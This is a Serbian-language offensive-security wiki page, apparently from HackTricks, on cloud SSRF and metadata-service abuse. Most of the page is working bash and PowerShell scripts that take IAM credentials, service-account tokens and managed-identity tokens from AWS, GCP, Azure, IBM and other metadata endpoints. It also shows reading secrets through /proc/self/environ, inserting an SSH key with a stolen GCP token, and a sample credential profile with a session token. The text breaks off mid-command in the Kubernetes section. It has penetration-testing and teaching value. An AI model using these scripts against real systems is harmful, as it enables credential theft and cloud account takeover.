# Cloud SSRF {{#include ../../banners/hacktricks-training.md}} ## AWS ### Zloupotreba SSRF u AWS EC2 okruženju **Metadata** endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Postoje **2 verzije** metadata endpoint-a. **Prva** verzija omogućava **pristup** endpoint-u putem **GET** zahteva (tako da svaka **SSRF može to iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), potrebno je zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **teže zloupotrebiti** sa SSRF). > [!CAUTION] > Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance. > > Pored toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju `X-Forwarded-For` zaglavlje**. Ovo je da se spreči da pogrešno konfigurisani obrnuti proksi mogu da mu pristupe. Možete pronaći informacije o [metadata endpoint-ima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njega: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` Kao **javne IAM akreditive** koje su izložene, možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Takođe možete proveriti javne **EC2 sigurnosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Možete zatim uzeti **te akreditive i koristiti ih sa AWS CLI**. To će vam omogućiti da radite **bilo šta što ta uloga ima dozvolu** da radi. Da biste iskoristili nove akreditive, potrebno je da kreirate novi AWS profil kao što je ovaj: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Obratite pažnju na **aws_session_token**, ovo je neophodno za rad profila. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim kredencijalima da saznate svoje privilegije i pokušate da ih eskalirate. ### SSRF u AWS ECS (Container Service) kredencijali **ECS** je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u **ECS**, **metadata endpoints se menjaju**. Ako pristupite _**http://169.254.170.2/v2/credentials/\**_ pronaći ćete kredencijale ECS mašine. Ali prvo morate da **pronađete \**. Da biste pronašli \, potrebno je da pročitate **environ** promenljivu **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** unutar mašine.\ Možete biti u mogućnosti da je pročitate iskorišćavajući **Path Traversal** na `file:///proc/self/environ`\ Pomenuta http adresa bi trebala da vam pruži **AccessKey, SecretKey i token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!NOTE] > Imajte na umu da u **nekih slučajevima** ćete moći da pristupite **EC2 metapodacima instance** iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2. ### SSRF za AWS Lambda U ovom slučaju **akreditivi se čuvaju u env varijablama**. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput **`file:///proc/self/environ`**. **Ime** **zanimljivih env varijabli** su: - `AWS_SESSION_TOKEN` - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` Pored toga, pored IAM akreditiva, Lambda funkcije takođe imaju **podatke o događaju koji se prosleđuju funkciji kada se pokrene**. Ovi podaci su dostupni funkciji putem [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **osetljive** **informacije** (kao unutar **stageVariables**). Za razliku od IAM akreditiva, ovi podaci su dostupni preko standardnog SSRF na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. > [!WARNING] > Imajte na umu da su **lambda akreditivi** unutar **env varijabli**. Dakle, ako **stack trace** lambda koda ispisuje env varijable, moguće je **izvući ih izazivajući grešku** u aplikaciji. ### SSRF URL za AWS Elastic Beanstalk Preuzimamo `accountId` i `region` iz API-ja. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Zatim preuzimamo `AccessKeyId`, `SecretAccessKey` i `Token` iz API-ja. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) Zatim koristimo akreditive sa `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Možete [**pronaći ovde dokumentaciju o metapodacima**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### SSRF URL za Google Cloud Zahteva HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti metapodacima putem sledećih URL-ova: - http://169.254.169.254 - http://metadata.google.internal - http://metadata Zanimljivi krajnji tačke za ekstrakciju informacija: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta ne zahteva header trenutno (hvala Mathiasu Karlssonu @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] > Da biste **koristili eksfiltrirani token servisnog naloga** možete jednostavno uraditi: > > ```bash > # Via env vars > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > > # Via setup > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list > gcloud config unset auth/access_token_file > ``` ### Dodajte SSH ključ Izvucite token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Proverite opseg tokena (sa prethodnim izlazom ili pokretanjem sledećeg) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Sada gurni SSH ključ. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### Cloud Functions Metadata endpoint funkcioniše isto kao u VM-ovima, ali bez nekih endpoint-a: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean > [!WARNING] > Ne postoje stvari poput AWS uloga ili GCP servisnih naloga, tako da ne očekujte da ćete pronaći kredencijale za metadata bot Dokumentacija je dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). - **Mora** sadržati zaglavlje `Metadata: true` - Ne sme **imati** zaglavlje `X-Forwarded-For` > [!TIP] > Azure VM može imati prikačen 1 sistemski upravljani identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete **imiti sve upravljane identitete prikačene na VM**. > > Kada tražite pristupni token za metadata endpoint, po defaultu će metadata servis koristiti **sistemski dodeljeni upravljani identitet** za generisanje tokena, ako postoji neki sistemski dodeljeni upravljani identitet. U slučaju da postoji samo **JEDAN korisnički dodeljeni upravljani identitet**, tada će se on koristiti po defaultu. Međutim, u slučaju da ne postoji sistemski dodeljeni upravljani identitet i postoji **više korisnički dodeljenih upravljanih identiteta**, tada će metadata servis vratiti grešku koja ukazuje na to da postoji više upravljanih identiteta i potrebno je **navesti koji koristiti**. > > Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MI koje VM ima prikačene, tako da otkrivanje svih dodeljenih upravljanih identiteta za VM može biti težak zadatak iz perspektive Red Teama. > > Stoga, da biste pronašli sve prikačene MI, možete uraditi: > > - Dobiti **prikačene identitete pomoću az cli** (ako ste već kompromitovali neki princip u Azure tenant-u) > > ```bash > az vm identity show \ > --resource-group \ > --name > ``` > > - Dobiti **prikačene identitete** koristeći podrazumevani prikačeni MI u metapodacima: > > ```bash > export API_VERSION="2021-12-13" > > # Dobijte token iz podrazumevanog MI > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') > > # Dobijte potrebne detalje > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > > # Pokušajte da dobijete prikačene MIs > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > > - **Dobijte sve** definisane upravljane identitete u tenant-u i **brute force** da vidite da li je neki od njih prikačen na VM: > > ```bash > az identity list > ``` > [!CAUTION] > U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljani identitet koji želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **podrazumevani MI će biti korišćen**. {{#tabs}} {{#tab name="Bash"}} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) ## Get management token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token ## Get graph token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token ## Get vault token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token ## Get storage token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token # More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {{#endtab}} {{#endtabs}} ### Azure App & Functions Services & Automation Accounts Iz **env** možete dobiti vrednosti **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. To možete koristiti da prikupite token za komunikaciju sa serverom metapodataka. Većinu vremena, želite token za jedan od ovih resursa: - [https://storage.azure.com](https://storage.azure.com/) - [https://vault.azure.net](https://vault.azure.net/) - [https://graph.microsoft.com](https://graph.microsoft.com/) - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] > U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljanu identitet koju želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **biće korišćen podrazumevani MI**. {{#tabs}} {{#tab name="Bash"}} ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # (Fingerprint) You should also be able to find the folder: ls /opt/microsoft # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get vault token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get storage token curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Define the API version $API_VERSION = "2019-08-01" # Function to get a token for a specified resource function Get-Token { param ( [string]$Resource ) $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" $headers = @{ "X-IDENTITY-HEADER" = $IDENTITY_HEADER } try { $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get $response.access_token } catch { Write-Error "Error obtaining token for $Resource: $_" } } # Get Management Token $managementToken = Get-Token -Resource "https://management.azure.com/" Write-Host "Management Token: $managementToken" # Get Graph Token $graphToken = Get-Token -Resource "https://graph.microsoft.com/" Write-Host "Graph Token: $graphToken" # Get Vault Token $vaultToken = Get-Token -Resource "https://vault.azure.net/" Write-Host "Vault Token: $vaultToken" # Get Storage Token $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" # Using oneliners ## Get management token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get graph token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get vault token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get storage token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ``` {{#endtab}} {{#endtabs}} ## IBM Cloud > [!WARNING] > Imajte na umu da u IBM-u po defaultu metapodaci nisu omogućeni, tako da je moguće da nećete moći da im pristupite čak i ako ste unutar IBM cloud VM-a. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` Dokumentacija za usluge metapodataka različitih platformi je navedena u nastavku, ističući metode putem kojih se može pristupiti informacijama o konfiguraciji i radu instanci. Svaka platforma nudi jedinstvene krajnje tačke za pristup svojim uslugama metapodataka. ## Packetcloud Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace Potrebnost za zaglavljem nije pomenuta. Metapodaci se mogu pristupiti putem: - `http://169.254.169.254/openstack` ## HP Helion Potrebnost za zaglavljem ovde takođe nije pomenuta. Metapodaci su dostupni na: - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud pruža niz krajnjih tačaka za pristup različitim aspektima metapodataka: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` - `http://192.0.0.192/latest/meta-data/` - `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba nudi krajnje tačke za pristup metapodacima, uključujući instance i ID-ove slika: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` - `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup je prikazan putem: - `curl -L http://127.0.0.1:2379/version` - `curl 